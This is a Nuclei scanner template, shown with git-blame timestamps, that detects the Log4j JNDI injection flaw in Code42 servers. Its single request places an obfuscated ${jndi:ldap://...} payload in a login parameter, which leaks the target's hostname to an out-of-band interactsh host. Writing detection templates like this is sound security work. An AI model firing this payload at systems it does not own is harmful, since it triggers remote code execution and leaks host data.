2022-03-16 13:17:58 +00:00
|
|
|
id: code42-log4j-rce
|
|
|
|
|
|
|
|
info:
|
2022-10-10 19:51:42 +00:00
|
|
|
name: Apache Code42 - Remote Code Execution (Apache Log4j)
|
2022-03-16 13:17:58 +00:00
|
|
|
author: Adam Crosser
|
|
|
|
severity: critical
|
2022-05-27 13:44:40 +00:00
|
|
|
description: |
|
|
|
|
Multiple Code42 components are impacted by the logj4 vulnerability. Affected Code42 components include:
|
|
|
|
- Code42 cloud: Updated Log4j from 2.15.0 to 2.17.1 on January 26, 2022
|
|
|
|
- Code42 app for Incydr Basic and Advanced and CrashPlan Cloud product plans: Updated Log4j from 2.16.0 to 2.17.1 on January 18, 2022
|
|
|
|
- Code42 User Directory Sync (UDS): Updated Log4j from 2.15.0 to 2.17.1 on February 2, 2022
|
|
|
|
- On-premises Code42 server: Mitigated from Log4j vulnerabilities by following these steps
|
|
|
|
- On-premises Code42 app: Updated to Log4j 2.16 on December 17, 2021
|
2022-04-22 10:38:41 +00:00
|
|
|
reference:
|
|
|
|
- https://support.code42.com/Terms_and_conditions/Code42_customer_support_resources/Code42_response_to_industry_security_incidents
|
2022-07-16 17:08:04 +00:00
|
|
|
- https://logging.apache.org/log4j/2.x/security.html
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-44228
|
2022-03-16 13:17:58 +00:00
|
|
|
classification:
|
2022-10-10 20:06:39 +00:00
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
|
|
|
|
cvss-score: 10
|
2022-10-10 19:51:42 +00:00
|
|
|
cve-id: CVE-2021-44228
|
2022-10-19 21:11:27 +00:00
|
|
|
cwe-id: CWE-77
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 1
|
2023-07-18 04:25:43 +00:00
|
|
|
tags: cve,cve2021,jndi,log4j,rce,oast,code42,kev
|
2023-05-03 17:51:44 +00:00
|
|
|
variables:
|
|
|
|
rand1: '{{rand_int(111, 999)}}'
|
|
|
|
rand2: '{{rand_int(111, 999)}}'
|
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2022-03-16 13:17:58 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2023-05-08 05:37:00 +00:00
|
|
|
- '{{BaseURL}}/c42api/v3/LoginConfiguration?username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/test}&url=https://localhost'
|
2022-03-16 13:17:58 +00:00
|
|
|
|
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
2023-07-16 13:32:52 +00:00
|
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
2022-03-16 13:17:58 +00:00
|
|
|
words:
|
|
|
|
- "dns"
|
|
|
|
|
|
|
|
- type: regex
|
|
|
|
part: interactsh_request
|
|
|
|
regex:
|
2023-11-17 08:49:19 +00:00
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2022-03-16 13:17:58 +00:00
|
|
|
|
|
|
|
extractors:
|
2023-05-03 17:51:44 +00:00
|
|
|
- type: kval
|
|
|
|
kval:
|
2023-11-17 08:49:19 +00:00
|
|
|
- interactsh_ip
|
2023-05-03 17:51:44 +00:00
|
|
|
|
|
|
|
- type: regex
|
2023-11-17 08:49:19 +00:00
|
|
|
part: interactsh_request
|
2023-05-03 17:51:44 +00:00
|
|
|
group: 2
|
|
|
|
regex:
|
2023-11-17 08:49:19 +00:00
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2023-05-03 17:51:44 +00:00
|
|
|
|
2022-03-16 13:17:58 +00:00
|
|
|
- type: regex
|
2023-11-17 08:49:19 +00:00
|
|
|
part: interactsh_request
|
2022-03-16 13:17:58 +00:00
|
|
|
group: 1
|
|
|
|
regex:
|
2023-11-17 08:49:19 +00:00
|
|
|
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
|
2023-11-19 08:30:54 +00:00
|
|
|
|
|
|
|
# digest: 4b0a00483046022100e8fcf83c4d7903721edacf53a6d056120bc42976ce23e2c53d927f80fc47c0ab02210080b4619783fb413c3f938b0f117a6472e7a94d6e61d56dce4a9c93b79a8aa5f1:922c64590222798bb761d5b6d8e72950
|